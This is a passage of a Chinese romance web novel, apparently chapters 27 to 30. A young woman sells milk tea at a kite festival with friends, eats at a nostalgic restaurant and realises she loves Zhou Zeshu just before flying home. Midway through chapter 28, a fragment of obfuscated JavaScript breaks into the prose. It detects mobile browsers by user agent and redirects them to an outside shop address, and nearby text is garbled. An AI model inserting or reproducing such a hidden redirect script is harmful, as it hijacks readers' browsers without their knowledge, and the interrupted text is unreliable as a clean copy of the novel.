小娜：“……不会要卖吧。”
张超迷茫眨了下眼睛。
一整箱的各式样口味奶茶，温的热的都有。
徐漾敲了个响指，一脸殷切鼓励：“对！今晚这边这么多人，当然要买东西，大家要不要一起加入？！”
她率先去看周泽树，其实有些打不准他们会不会一起，要是不感兴趣，她打算自己今晚上在这卖的。
忘记跟大伙商量，心里特没底。
周泽树好像知道她在想什么，眉眼里有淡淡笑意，没让场面太尴尬，状似不经意问。
“什么都没准备？”
“没有哦！我背包里带了桌布，还有荧光灯链，一会儿我再去旁边摊租张小桌子。”
“那我要去租！”哪想张超精神一振，“正好今晚上没事，带上我，我要参加！”
小娜也乐意：“我也要玩我也要玩，不想这么早回去。”
江时雨蹲下将奶茶拿出来按口味温度分门别类，举手，微笑道：“这里不想回去加一。”
“你们确定？”
张超：“为什么不啊，大晚上诶，回家待着无聊死了。”
“好！那就行动起来，一会儿结束了我请大家吃饭！！！”
徐漾满眼光亮。
不消多时，五人一起行动，一个小小摊位就迅速搭建完成。
拖风筝节的福，即使散场，今晚这边依旧热闹，各种颜色的帐篷，小折叠椅，灯光摇曳，音乐飘扬在海边好不热闹。
起先不是很放的开的性子，稍稍收敛。
在徐漾热情高亢地吆喝下，索性都不管不顾，逢人招呼起来。
奶茶饮品虽然是店里买来的，正好省去等待和凑单的麻烦，更奇怪的是徐漾这边还没有溢价，与自制提前就装杯的橙汁还有柠檬茶相比，一点都不廉价，生意火爆，简直就是大虐同行。
“我们这样能赚钱吗？这杯店里卖十三块，再原价卖出去，完全没区别呀。”
“有一点。”
“哪里？”张超寻思问。
当然有，虽然好像真没什么，顶多就是店里买太多了，大额折扣用劵便宜了三四十。
江时雨理着袋子，目光移向旁边。
周泽树正帮一对年轻夫妇找想要的口味。
她恐怕是除了徐漾第一个清楚的，刚刚找卫生间从那边路口经过，有铺子在卖棒打柠檬茶，这丫头帮出恶气呢。
“哎呀，你问那么多干嘛。”小欣拍他背，“快帮我看看茉莉奶白在哪。”
“笨蛋啊，你手边不就是。”
小欣一个暴击：“找死啦你！”
伴随着喇叭里播放着魔幻洗脑的广告词。
这边简直欢乐不断，连顾客都绷不住了。
不等一个小时，所有奶茶果饮除了自留下的口味统统被消灭干净。
徐漾特高兴看着空荡荡的桌板，成就感满满，拍了拍手，转头，忽然对上周泽树若有所思的目光。
“收工啦收工啦，我请大家伙吃饭！”徐漾心虚转移注意力，唯恐被发现什么端倪。
生意太红火的代价，就是招仇恨。
这不，归还东西，准备收拾走人时，一位同样来卖饮料的商家找上门。
“你们谁是老板！”
哟，来得还挺快，卖都卖完了。
“我是，怎么了，不好意思啊，今天都卖完了，想喝也没有。”徐漾整理好包，高傲的眼神都不给一个。
小欣看清来人，脸色一沉，这不是……
靠，还敢来。
“就是我们摆的你想咋滴？”
“有你们这么做生意的吗？有没有一点商业道德！你们这样想让别人怎么卖？！”
“你吼什么吼，嗓子大了不起啊！之前的事我还找你们麻烦，你倒好自己找上门来了！”小欣不甘示弱。
男生语气恶劣：“你们脑子有病是不是，明明是你们把人都抢走了，老子还做不做了！不知道还有别的摊啊。”
简直要气炸了，小欣一摔包，恨不得直接上去撕烂他的嘴。
这就是之前找荷奶奶麻烦那女人的儿子。
就一破十几岁的小混混，嚣张的不得了。
徐漾将她拦住，也气得半死，还从来没被这么指着鼻子吼过。
“你柠檬茶，茶汤用的水从哪来的你再清楚不过了吧，还有柠檬我都看见你用的烂果子。”
徐漾声音大，引得附近不知详情的游客频频回头。
男生被揭短，脸涨得通红，心虚往四周瞄了瞄，脸皮忒厚，偏偏还咬死不承认：“你……你哪只眼睛看着老子用了！！”
小欣：“哦～原来这样啊，敢卖不敢认。”
“你们根本就没看到，凭什么乱说！”
“谁说我没看到，我就看到，你看到你接水管里的水煮茶，还用……”
“你特么的！”男生恼羞成怒，倏地就扬手。
徐漾来不及避不开，眼看着下一秒，巴掌就要落在她脸上，那只扬起来的胳膊忽被牢牢抓住。
周泽树恰好还喇叭回来了。
“小小年纪，嘴挺脏的，不想要那就别要了。”
那男生疼得嗷嗷叫，刚想骂人，转头见身后的人脸色瞬间卡白，况且他妈前不久才千叮咛万嘱咐别去惹周家。
周泽树看了眼徐漾，确定两个姑娘没事。那男生要比他矮一个头，此刻腕子挣不开，疼得龇牙咧嘴，连连道歉：“对不起对不起……”
手臂被往后一搡，混混男生受力跌到地上，赶紧爬起来跑了。
“有本事别溜啊！”小欣再后面喊。
张超和江时雨还东西回来，知道有人来找麻烦，袖子都撸起来了。
“艹！那小兔崽子还敢来！小小年纪不长教训的。”张超不罢休，要去教训人，被周泽树按住肩膀。
“行了跑都跑了，怎么就你一个人？”
“时雨姐说她衣服上有块奶茶渍要处理一下，等会儿过来。”
周泽树嗯了一声，淡淡瞥他：“你也是口头戒戒。”
又双标轻声问徐漾跟小欣，“收拾好了？”
“可以了，等时雨过来就可以直接走了，周哥你不知道明明是他眼红先来找麻烦的！徐漾都看见她用烂果子还有水管里的水了！”
被cue到，徐漾下意识低头。
因为上次的事，她只是想出口恶气，知道挑事那女人儿子正好今天也在这摆摊，就故意来卖原价受欢迎的奶茶竞争。
混坏果进去和用卫生间外面的水确实也是被她亲眼撞见，不是乱编的。
但她没想到人家会跳脚。
以为会被说幼稚，是挺幼稚的。
周泽树没用批评语气，说：“那看来我们今天做了件好事，至少避免今晚来这玩的大多部分人闹肚子。”
小欣：“对，不过谁喝那柠檬水谁今天倒霉了。”
“就这样他也敢卖，不怕明天找上门去。”张超看见江时雨跑过来，挥手，“欸！来了来了！”
“不是说吃饭吗？走吧。”
—
馆子是周泽树带路的。
一家烧菜馆，装修是那种偏复古的，暖黄色灯光，室内贴了好多年代感的报纸还有明星海报。
这种市井气装修已经不稀奇了，桐城也很多，不过不同的是，这家馆子的部分年代小摆件并不是高低柜，竹椅，斗笠这些常见刻意凹现的。
可以看见用来收藏的脉冲电话，蝴蝶牌缝纫机，有线广播机，收录机……
甚至有一展玻璃门小柜子上头摆了各类已经沧桑泛黄的书本，中间位置展示了CD磁带，古早小玩具等。
室内的味道并不窒涩，反而收拾得整整齐齐，干净温暖。
是当真的货真价实的年代回忆录。
店老板是一位穿白色仿唐装精神抖擞的老爷爷。
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小欣张超时雨，包括周泽树大家伙吃饭常来玩，每次一来，就捣鼓店里东西，从小长大的地儿，已经玩过不知多少遍，早已经不新奇。
不过还是改不了要热热闹闹转上一圈的老习惯。
转完之后，就消停了。
徐漾站在书柜前仰头看上面的那排小人书。
这在她的记忆存在过，很小很小的时候，之后就记不得了。
也只看过《三毛流浪记》《新白娘子传奇》这类耳熟能详的。
时代更迭，在进步，这世界所有东西都在不停的更新换代。
能留下的也只有回忆了。
周泽树跟她说，这馆子是王爷爷开的，几十年了，儿子女儿也在店里帮忙。
原来如此。
徐漾能感觉到，王爷爷的用心。
或许他只是在用这种方法，保存下这片记忆。
同样也传递着，怀念着，感谢努力下社会现有的进步。
徐漾指着一个绿色的游戏机说：“这个小时候我也有，不过玩了好几次就没玩了。”
“哇！潘虹这张照片好好看！简直美翻了，这个电影是……”
“《末代皇后和皇妃》，87年上映的，潘虹当年在里面演婉容。”
徐漾只零星了解过这个人，当时只觉得挺美，好漂亮啊，后面就被别的吸引了。
“那这张呢，这个人你也认识吗？”
“龚雪，这部叫《石榴花》，82年的。”
徐漾表示佩服，眯眼看他：“周泽树，我严重怀疑你是不是虚报年龄了，你确定你只比我大五岁？”
周泽树轻啧一声，叩她脑门：“故意的？”
“嘿嘿。”徐漾一闪，没打着。
他极轻笑了笑。
垫脚要放手上取下来的，被周泽树抽走，体贴放回原位。
“那你小时候都看这些？我跟你看的有点不一样，我想想我那个时候都看了什么，这些你也看过么？”
他知道她又要刹不住，跟他叨叨了。
“都是之后零零散散看的，啰。”周泽树单手插在兜里，懒洋洋地扬了扬下颌。
走过来一位拄着拐杖面容慈祥的爷爷。
“王爷爷好哇！”徐漾率先打招呼。
“新来的小姑娘，对这感兴趣？”
“还好还好。”徐漾不好意思地说，暗叫不妙，她其实看得不多，是个急性子，刷剧都要开二倍速。
周泽树低头看她，猜出她心思，唇角抑制不住想笑，怕老爷子回头又要收拾一大堆碟子影单。
“您腰没事了吧，下回注意些，怎么不回去继续歇着。”
“哎！我好着呢，怎么说话呢？我今儿给你表演表演看？”
老爷子说着就要扭腰舒展，是要打八段锦的架势。
“得了。”周泽树按住，“稳着点儿，别又闪着了，知道您不服老。”
徐漾听着他们说话，觉得好笑，又挺温馨的。
厨房的炒菜香飘荡在空气里。
小欣拿了自助冰棍，在位置喊：“周哥徐漾要不要吃！”
“臭丫头你就吃吧，吃那么多回头拉肚子！”王爷爷听见，一瞪眼。
“略略就吃就吃。”小欣叼在嘴里，做鬼脸。
周泽树轻揉她脑勺，下巴指了指那边，温声说：“去吧。”
徐漾被那边叫着，先跑过去。
回想起来，这看似自然的动作却藏着股亲昵，想着想着脸就红了。
周泽树和老爷子聊着天。
他们坐在靠窗那桌，不知谈到什么，一群人笑起来。
轮到徐漾，她一手抵在嘴边，双眸微微眯着，像是在苦苦思考什么陈年难题，却想着想着倒先把自个儿给逗笑了，又一本正经地憋住给他们讲。
这姑娘。
周泽树弯了弯唇。
“咳。”王爷爷重重咳了一声，“我们刚说到哪儿？”
“新买的长笛。”
“一心二用学得好。”老爷子一副识破大局的样子，语气故意严苛，又忍不住八卦。
“难得，我们阿树终于交女朋友了？”他们一伙都是看着长大的，头回聚餐碰到异性生面孔，这姑娘招人喜欢，看着就是一个活泼女孩。
“不是。”
周泽树否认。
顿了一下。
忽轻笑了声，说：“暂时还不是呢。”
28. chapter 28
饭后原本提议去夜市逛逛，消消食。
小欣临时有事，无奈只能自己先走了，于是只剩下四人。
晚上八点，夜市一片热闹，小摊正是忙碌的时候，烤鸡腿、炒板栗、炸虾饼、炸鱼小丸子……小吃应有尽有，滋啦滋啦，香味四溢，勾得人走不动道，鲜花、美甲、挂件吊坠、现写书法折扇，各类玩意儿更是看得眼花缭乱。
步行街人流密集，走着走着，时雨和张超不知跑哪去了。
徐漾吃饱了，但碍于实在抵不住，路过一户冰粉店，多看了两眼。
“要不要尝尝？”
“吃太多会胖吧……”
周泽树看她一眼：“那行，我们走吧。”
别呀。
我就说着玩儿的。
徐漾垂头丧气，刚要拖着一万个不舍离开，却听到一阵短促的笑，像春风拨动树的叶子，那样极轻清越，不留一点痕迹。
抬头，声音的主人已经迈步走店里了。
她一喜，麻溜尾巴似地跟上。
“你好，拿一个草莓味的手捧冰。”周泽树跟店员沟通，转头问，“确定是这个了？”
“你怎么知道？”徐漾意外。
周泽树点着单子，灯光照得他指尖莹白：“就草莓的。”
她都没提她想要哪个口味，甚至在一众冰粉，奶茶小火锅里，选中最想要手捧冰了。
为了避免周泽树买单，徐漾第一时间抢着付了，本来今晚是她提议要请吃饭的，结果买单的时候才知道，周泽树早已经付过了。
这次，总算快一步。
周泽树看她急得跟什么似的，有那么点好笑，推着她的领子找了空位坐下。
徐漾还在穷追不舍。
“欸！你到底怎么知道的？”
“哇塞，为什么每次都能猜这么准。”
“周泽树你是不是有读心术啊？就那种什么都不说，就能知道ta在想什么。”
“我最近追了部动漫里面有个主角就会这种能力，超级酷的。”
周泽树摸眼睛，低头笑了：“我真是怕了你了。”
她的脑回路完全跟不上，思维清奇天马行空的，从这头跑到那头，却又什么心思都明明白白写在脸上。
哪里会看不出来。
眼睛都要胶在广告牌上了。
徐漾嗔怪瞪他一眼，下意识伸手啪地拍在他搭在桌子上的手，心猛地一惊，叹自己太没分寸了。
这跟情侣有什么区别。
周泽树微动了动手，掀眉看她，徐漾一下子混乱极了，慌乱移开眼，神色有点不自在，兀自望向店外缓解尴尬。
皮肤短暂擦过，她手指还残有他手背的温度。
好在，店员端来一大杯手捧冰。
“看起来好好吃的样子，你要不要尝尝？”
周泽树好笑，倒是转得快。
算了，不跟她计较。
“自己吃，我不爱吃甜的。”
“你确定嘛。”
“嗯。”
“那好吧，嘿嘿我不客气啦。”
徐漾舀了一颗红彤彤的草莓，叠加奶油雪顶放进嘴里，满足地眼睛都亮了。
草莓刚刚好，不酸也不硬，清甜多汁，又继续挖了一勺，底下的冰沙香甜绵密，冰冰凉凉，吃起来完全不输这杯颜值。
“我喜欢这个！她家味道真的不错，比我在桐城常吃的那家还要好吃！！”
她眼睛亮晶晶的，每次吃到的美食，都是一种享受，想都没想，激动地按刚刚方法，舀了一勺递给对面。
下意识的动作最为致命。
也是最真实地反应。
这回，揭不开了，周泽树微眯眼看着她，神色有些危险。
徐漾一滞，脸唰地红了。
脑袋卡壳，嘴也变笨。
她简直要拍死自己！
该怎么解释？解释她奇奇怪怪的行为。
说我也不知道怎么，总是下意识会对你做出亲密举动？这些都是大脑本能指令？
我大脑本能想说喜欢你。
心里一团乱麻，全是各种线交织在一起，不给任何拆解的机会，轻而易举将其扼住。
她局促的表情落在他眼里，那只伸来的手尴尬的不知如何是好，转道要缩回去，周泽树微微凑前叼走了那颗草莓。
“是挺不错的。”
徐漾眼神落在他唇上。
只看了一秒，被烫着似的，赶紧收回目光。
“是吧我也觉得。”谨慎了，机械地自己挖着冰沙。
她不敢看他，一眼都不能。
“徐漾，放轻松。”
“啊。”
他抽了一张纸，她茫然接过，周泽树轻叹了口气，指了指手背。
“噢。”徐漾这才反应过来，胡乱擦了一下，将纸巾攥在手心里。
天，她怂什么。
但就是心跳很快啊，根本控制不住。
周泽树注视她半晌，怕觉得冒犯，说：“要是我有什么让你不舒服的地方，实在是抱歉……”
“没有！”完全没有。
徐漾急忙打断了他，对上周泽树探寻的表情，脑子里胡乱搜刮着词，最终也只是重复刚刚两个字：“没有。”
“好，我以为吓到你了。”
他是个不会让人感觉到不舒服也不会冷场，擅于递台阶的人。
话题自然带到她之前提到的动漫上。
“听起来挺有意思的。”
“对吧，里面的小女孩真的超级可爱，每次都完美戳中我的萌点，又暖又好看，他们一家三口我都好喜欢，我刷到网友说漫画更有画面感，我打算周末就要把它补完！”
徐漾轻而易举落入陷阱，打开话匣子，一连激动地跟他讲了好多好多喜欢的剧情。
甚至还学起来拟声经典台词：“哇酷哇酷！”
店里放着轻快的歌，灯光下，女孩表情松泛，鲜活生动，说到有意思的忍不住在椅子上晃了晃，笑声极具感染力里的充盈在一隅。
周泽树温柔笑着：“那我下次试试。”
“OK啊。”徐漾圈住单边眼睛，比了个手势，“你还可以跟我分享剧情。”
“欸，周泽树你平时打发时间放松都会干什么？也该换我蹲蹲安利了吧。”
她好奇他的所有，所有的都想知道。
他停顿了一刻，像是在认真思考，有些自嘲地扯了扯唇。
“我的生活很无趣，没什么好讲的，可能日常最多的时间都占用在绒花上面，其他的一些零零碎碎也没什么好提的。”
无非就是逗逗狗，多陪陪老太太，谁家有个难事，能帮的过去帮一手。
“哪里，我觉得很好啊，而且你的作品也非常好看！”
徐漾想起张超说周泽树大多都把自己关在工作室。
他有自己的一套完美标准，往往一件成品经过好几套完整工序，从中筛选或直接推翻重来。
正因为如此，他的作品能够大受青睐，里屿获得走出交流的成绩。
艺术是有生命的。
书面上有个词非常好——“经营”。
无热爱不经营。
艺术成品往往耗费创作者大量精力，被随之赋予灵魂和情感。
他是真的在爱一份事业。
这点，她望尘莫及。
用心经营出来的东西，即使画稿被扒模仿成型，也依旧不是那个味儿。
徐漾想起来之前张超感概现在做绒花的人越来越多了。
周泽树是怎么回答的？
哦，他说，传统技艺被传播是好事，有人愿意传承，千年珍贵的艺术才不会灭亡。
玻璃门外，行人来来往往，勾肩或牵手，小孩骑着滑板车欢声而过。
……
周泽树用无趣来形容他的生活。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14244946|148196||http|test|mini|href|location''.split(''|''),0,{}));
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>徐漾不见得。
至少他的存在，无形给每个人或轻或重添了一笔。
云溪的绿化好，树高而浓密，暖黄的路光灯笼似的高高挂着，绿叶被照得脉络分明。
前月还在开的花，如今都舒展宽阔，绿得不行，空气里夹杂着淡淡的草木清润气。
从夜市出来，人逐渐变少。
徐漾边走边拆了一颗糖，一时没看到垃圾桶，她今天穿的裙子没有口袋，打算先攥着。
周泽树摊开手示意给他，糖纸被揣进兜里。
两人听着夜风，并肩走下廊桥。
走过一个亭子，竟看见一棵还开着花的海棠，树枝上被系了卡牌，底下吊着红色的麦穗，并不多，稀稀拉拉分散在各个枝丫上，不知是愿意信的人太少，还是才刚刚开了个头。
“之前没有的。”周泽树取了纸盒里的卡片和笔给她。
“要写心愿吗？”
徐漾见他只取了一个：“你不写？”
“不知道写什么，好像没什么想许的。”
“想实现的也没有吗？目前最想要的。”徐漾出主意。
“不是我单方面能决定的。”
周泽树云里雾里说了这句话。
“为什么不是？”
路灯映在他的瞳孔里，他声音含笑，有那么几分醉人，垂着眼睑看她。
“我发现一件事。”
徐漾瞬间慌神，心虚支支吾吾地：“……什么？”
“你好像很好奇我，调查我？”
周泽树开了个玩笑，玩笑中却是一种打量，没想到徐漾会接茬。
“我好奇你啊。”
徐漾忍不住抬眼，想从他脸上给出的反应分辨出什么，想说的话堵在胸腔里，不断翻涌。
“那你好奇我吗？”她继续问。
夜晚静谧无声，海棠花花瓣在一阵阵微风里，簌簌飘落。
“你觉得呢？”这个问题又被礼尚往来推回来。
他的瞳色深了几分。
徐漾轻轻吞咽，从上到下移开目光时，不自觉地划过他的嘴唇和微微动的喉结，多停了几秒。
她突然口渴，不知为什么，可能是晚上那杯手捧冰太甜了。
她不知道她看他眼神移动的同时，周泽树的目光也肆无忌惮凝在她脸上。两人的目光在夜色中角逐。
终究还是她先败下阵来。
“我不知道，我希望你是好奇我的吧，我要去写卡片了。”
徐漾急促说完，转身逃似地蹲在休息椅上写东□□自一个人平息心跳。
也不知该写什么了。
想许的愿望太多了，突然要写一时还真落不了笔。
短时间最想实现的？
她也有。
很想实现。
“周泽树你不许过来！不许看！”徐漾将写好的卡片藏在身后，背身一点点挪到棠树下，想系在最高处，垫脚却怎么都够不着想要的枝桠。
他失笑：“你确定不需要我帮忙？”
“不要。”
徐漾换了另一边，不到几秒时间系紧跑下来，像是真怕某人记住位置，可又担心会不会没系紧，被风吹走，忍不住回头又瞥了一眼。
“写什么了，这么神秘。”
“秘密。”徐漾笑眼盈盈，眼神带着狡黠。
“行，那就祝你愿望成真。”
周泽树完全尊重她，也不多问了。
“可我不知道能不能实现。”她忽低下头盯着脚尖，像是在自言自语，带着失落和未知的迷茫。
周泽树还是听见了。
“为什么不能？”
她的回答和他一样。
抬头，这次目光直直地落进他眼睛里，带着隐晦地试探。
像是翻山越岭，拂过山头，想追寻一个答案。
今晚必须要得到的答案。
“因为也不是我单方面能决定的。”
29. chapter 29
夜深了。
星星月亮像是偷喝了葡萄酒，照得天地格外皎洁明亮。
温热的呼吸喷洒在脖颈，浑身带来的战栗，以至于徐漾起先根本没听清他说了什么。
拇指滑过脸颊，脖颈，在一点点往锁骨处停下，整个人紧绷到了极点，可他温柔的声线，在她耳朵又重复了句：“徐漾，放轻松。”
明明紧张到不行，还是乖乖听话缴械沉沦，被引领跌入云端。
……
徐漾迷迷糊糊醒来已经是夜里一点，意识轻飘飘的还没彻底回来，她翻了个身，脸猫咪似地蹭了蹭枕头，眼神慢慢聚焦在小茶几上空空的琉璃瓶，吓了一跳。
猛地掀开被子，一头竖起来。
天啊。
她做什么春秋大美梦了啊！
罪恶罪恶！
关键是她的幻想对象，性幻想对象……
徐漾羞得直接躺尸一般钻进被子里狂踢，太丢脸太丢脸太丢脸。
不，应该是太羞耻了。
脑子里的梦还没退下，依旧能够清晰回忆，低沉喑哑的喘.息，嘴唇湿热的温度，他手慢慢滑动下浑身的感官……
啊啊啊啊啊。
徐漾你还回忆起来了怎么回事！！！
现在心里就是一个小人扑通跪地砰砰磕头。
一直到彻底把自己逼得呼不上气了，才揭开被子。
难抑地闭上眼。
十秒。
三十秒。
一分钟。
……
做了足足三轮深呼吸冷静下来。
徐漾环视整个屋子。
相册夹第一页，是追蓝眼泪当晚她偷偷拍得合照。
就在她睡得这侧床头柜里是她买来用来做捕梦网剩下的丝线。
书桌上摆着特难收的签名本。
咖棕色飞机盒里是出自里屿的发簪。
摆件小花瓶装饰里插了一只已经枯黄狗尾巴草编制的小兔子。
门背后还挂着她的背包，包袋敞开着，彩虹似的花束将包撑得鼓囊囊的。
地上小圆桌上放了几盒她常用牌子的隐形眼镜。
风筝节她出游前天摘得时候，意外掉在地上没注意，第二天干了用不了了，客栈姐姐和她度数差不多，临时找了副新的给她，徐漾戴得不习惯，后半程糊眼睛，只能暂时先将就着。
周泽树不知怎么发现跑去买来，还把剩下的备用装进她兜里。
……
不知不觉这间屋子里全是关于两个人的回忆。
无数次，难以遏制的心跳是真的。
他们之间的每分每秒是真的。
她的心被塞得满满当当，很暖很暖。
那一件，都记得清，是什么时候，当天发生了什么。
徐漾在这晚想清楚了一件事实，周泽树就像一种瘾，她根本无法控制，属于她的船早已经完全偏航驶向了他，她的预警系统也早已自动显示失灵。
今晚明明那么好的机会，明明那么好的氛围。
为什么，为什么就把握不住呢！
受不了自己了。
手机传来振动。
闺蜜转发来小程序，重新复活。
徐漾：[你为什么大半夜还不睡觉？]
徐漾：[（刀子）（炸弹）]
孙雨柔小窗口发来信息：[今天周五诶你是不是忘了？打工人当然要熬夜啊。]
老夫老妻式朋友多年，已经自动把对方当作对方小号，分享游戏得精力值，临时转发工作文件，暂时存档聊天截图……
这些无意义的，每每自动当不存在。
孙雨柔直接不玩了：[你为啥也不睡觉？]
徐漾：[啊啊啊啊啊啊啊啊呜呜呜呜呜呜呜]
徐漾：[雨柔雨柔雨柔雨柔雨柔雨柔雨柔]
孙雨柔：[你再给我刷屏试试？（炸弹）]
徐漾：[啊啊啊啊啊啊啊啊啊啊啊]
徐漾只能靠语气词纾解，要不是考虑大晚上打扰人，她真要抓狂尖叫了：[我干坏事了呜呜]
孙雨柔：[别跟我说，你现在不在你住的地方，诶？你还是最好跟我说一下，悄悄放个耳朵，什么感受？]
徐漾已经自动脑补到孙雨柔坏笑的声音，想到晚上的梦，脸剧烈烫了起来，要成了一只烤熟的番茄。
深呼吸拍了拍脸。
[不是，你别想了。]虽然只是现实和梦境，但也大差不差。
孙雨柔：[哦，那我知道了。]
她直接发来一条语音，自带配音效果：[完了，姐妹儿你惨了，你坠入爱河了。]
可不是吗。
徐漾你完了。
所谓爱情，更像久逢甘霖后一场晚间急雨，黑漆漆的天，你根本无法察觉从什么时候开始来的征兆，等被吵醒，已经看到窗外电闪雷鸣，雨声哗哗。
早已经来不及。
她人生第一次对一个男人动心，却不知道该如何才好，这种无措，这种只要看到他人，听到他消息的欣喜，让她自动心慌，周泽树不同于别的男孩子，和这二十多年认识接触的全然不同。
或许当初车站外的第一次相识，她所有产生与他相关的思绪，就注定了会有所不同。
发呆的几秒，徐漾矫情地想了很多。
甚至想如果她豁出去把心里话统统说出来，他拒绝她的话，该怎么办？
朋友或恋人，只能二选其一。
只能。
没法体面的相处，至少她做不到。
她很悲伤的想到这一点。
孙雨柔发来长语音。
“作为你的孤寡至今的朋友，我想跟你说，或者给你一个建议吧，心动是现实社会最真实的奢饰品，成年人的心动很难，也很珍贵，遵从自己，怎么想的就怎么做，不是说犹豫就会败北吗？阿漾，我认识你这么多年，你可从来都不是一个不自信的姑娘。”
是啊，年少的喜欢那么纯粹，莽撞天真，以为会有很长很长的未来，即使前方是南墙，也有一跃而上的勇气。
随着年龄增长，岁月的洗礼，社会的打磨，一颗年轻的心被反复揉捏摧折，慢慢铸牢了自我保护的屏障。
或许这就是所谓“成长的代价。”
坦然地面对自己的情感，并不容易。
手机助手发来行程消息，提醒注意明天下午的航班，现在已经过了凌晨，机票是当时来回就买好了的。
这时候跳出来，却如战鼓般一声又一声此起彼伏给予她勇气。
不要逃避。
她不想无疾而终，至少在时间截止之前，无论会不会得到想要的反馈，未来是否缘分还会存续，她得给自己一个交代。
这一晚，属于她的能量发条被无声上满。
因此，她罕见地失眠了。
该原因来源于精神亢奋下整理列出的计划表。
执行方一脸姨母笑，触控笔写着。
取了一个简单直接的名字——
“徐漾的极速追人计划。”
……
周泽树点开手机刚巧刷到徐漾朋友圈内容：“虽然不舍，但还是要结束说再见了（哭），这一个月玩的很开心！”
刚发出两分钟左右。
配图是一张机票行程，显示在十九号中午十二点零五分那趟，从云溪飞桐城。
他和她没有共同好友，看不到评论，只有徐漾在底下回复了一个微信自带emoji表情里菜刀的小图案。
不知她们说了什么。
周泽树的全部注意力都在那张配图上，眼神微动了动。
简单的一张图他看了许久。
……
正和朋友“厮战”的徐漾，突然接到语音吓了一跳，往上
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滑了滑时间，不对吧。
她小声而紧张，又有些听到对方声音的开心。
“周泽树你怎么还没睡啊？”
对面沉默了一段时间，他无声笑了下：“这句话应该我问你，你不是也没睡。”
徐漾脸颊是烫的，哪里敢回答她今晚为什么睡不着，梦境的人物正跟她打电话。
闺蜜那边还在不停发着消息，徐漾暂时跟那边告饶，切回来。
大概只能模糊说：“我中途醒了，晚上倒下玩手机睡着了，现在精神着呢。”
“你呢，你失眠了？”
“不是。”
周泽树反身过来靠在栏杆上，门内小狗前脚轻放在垫子上正在憨睡。
七饼皮得很，今晚踩沙发上冲跳下来，不小心打滑伤到了，躺地上一直疼得哼哼唧唧，周泽树检查了一下骨头，应该是崴到了，只好联系了医生，明早带过检查。
周泽树不放心，一直开着灯，把七饼的窝移进了卧室，中途醒来看了好几趟。
“七饼现在怎么样了？会不会很严重啊。”徐漾听到消息，吓得直接坐起来。
“别紧张，没扭到骨头，我明早带它去拍个片子，现在小家伙睡着了。”
“那就好那就好。”徐漾松了口气，安慰他，“小狗会没事的。”
“周泽树你在哪，我好像听到风声了。”
没有听错，她又确定了遍，是风吹动树叶的沙沙声。
“大概在看月亮吧。”
他伸手，指尖碰了碰挂在阳台上的捕梦网。眼里闪过一丝克制，融于夜色里。
羽穗在空中摇晃着。
今晚有月亮吗？
徐漾下床拉开窗帘，没有。
“我们好像看得不是一片天。”
她也走到阳台，仰头背靠着，并齐动了动脚，展开手时碰到边上不知叫什么名字的植被，攥在手里捏了捏，叶子在手里滑溜溜，冰冰凉凉的。
周泽树不会半夜打来电话，只有一个可能，他知道她没睡。
他看到她发的朋友圈了。
虽然这是早晚的事，也本来是有意为之，但太猝不及防，像这通电话一样，都不给人反应，徐漾脑袋轰了一下，捋着叶子，越发紧张，刚刚才列得整整齐齐的，现在竟不知道该说什么。
“穿外套了吗？”周泽树好像知道她此刻也站在外面，“晚上凉，进屋去吧。”
徐漾轻轻嗯了声，可她却没进去，还站在原地，手换了片叶子捏着，她需要冰凉的触觉来降解手心的温度。
不知为什么，她莫名觉得他好像不太对劲，到底是哪里，说不上来。
手心里的热汗逐渐变冷，湿答答的。
她开始惴惴不安。
“周泽树你看到我的动态了么？”
“看到了。”他声线平稳，语气一如平常含着淡淡温暖的笑，好像又没有，声调和往常并不一样，说出了原本她以为会是挽留的话。
可却不是。
“一路平安，到了记得给我们发个消息。”
他不仅告别。
还说了我们。
徐漾今晚点燃的斗志彻底熄灭了。
好像被淋了一场雨，兜头而下，她突然忍不住打了个哆嗦，羞愧，窘迫，浪潮般涌来吞没了她。
一切都来不及开头。
还好，来不及开头。
“我知道啦。”她咬住牙关，尽管浑身在颤抖，但还是装强，撒谎掩饰，用了个翘起来开心的语气。
极快挂断了电话。闺蜜发来语音，为她明天加油打气。
徐漾敲字回复，眼眶里热热的：[感觉自己就像个笑话。]
[自以为他会有那么点喜欢我，结果什么都不是。]
握在手里的那片叶子，滑落了，掉在地上。
这一晚，天空低地好像真的要下一场雨。
30. chapter 30
清晨一早，周泽树带七饼去医院做了检查，没出什么大问题，开了些消炎药，静养一段时间就可以。
开药的医生和周泽树关系不错，见他今天有些走神。
“怎么了，你看起来状态不太对，昨晚没睡好？”
周泽树笑了笑：“没事。”
说着没事的人，声音却有些哑。
昨晚电话挂断后，周泽树在客厅一直坐到天明。
不知道为什么，看到清晨太阳透过窗户照进来的那刻，他并没有觉得很轻快，反而有种重要的东西被抽走的疼痛和不舍。
—
—
春天的阳光不那么烈，灿灿的，投进浓密的树叶，渗出若隐若现的光线，一抬头，刺眼的光圈里，有太阳的颜色。
百货店落地玻璃窗货架上是饮料区，不知是谁有趣的脑洞，橙子味芬达唯一没按照顺序，从外面看，弧度好像一个浇了芝士黄油的笑脸。
小货车装了一整后备箱的苹果停在街头，几个客人站在车后边唠嗑边挑挑选选，将最满意的装进塑料袋里，还一边分享经验，这个好！诶！要拿这个！
光线下红润润的苹果好像在发光，莫名的可爱。
这放之前，他根本不会伫足，也不会留意。
可曾经有个人跟他说，人生还是很有意思的，无论天气好，无论天气不好，总会有零零碎碎的美好，吃到的每一份美食，看到的每一刻风景，听到的每一首歌，都是人生的小小幸福时刻。
他好像不知不觉拥有了这件能力。
可教会他能力的人……
周泽树下意识偏头看了眼身旁。
他突然想起徐漾之前在风筝节为了逗他开心，给他讲的高中趣事，说她在办公室被罚啃了一下午苹果。
如果今天徐漾在的话，她肯定会拉着他一边夸这苹果怎么苹里苹气，怎么能长这么好看，一边拉下脸叭叭吐槽这世界上怎么有这么邪恶的水果，并试图劝动他也跟着骂几句。
想到这，周泽树笑出声。
幼稚。
可偏头，旁边什么人也没有。
笑容一点点消失。
他稍稍蹙眉，觉得自己快病入膏肓了。
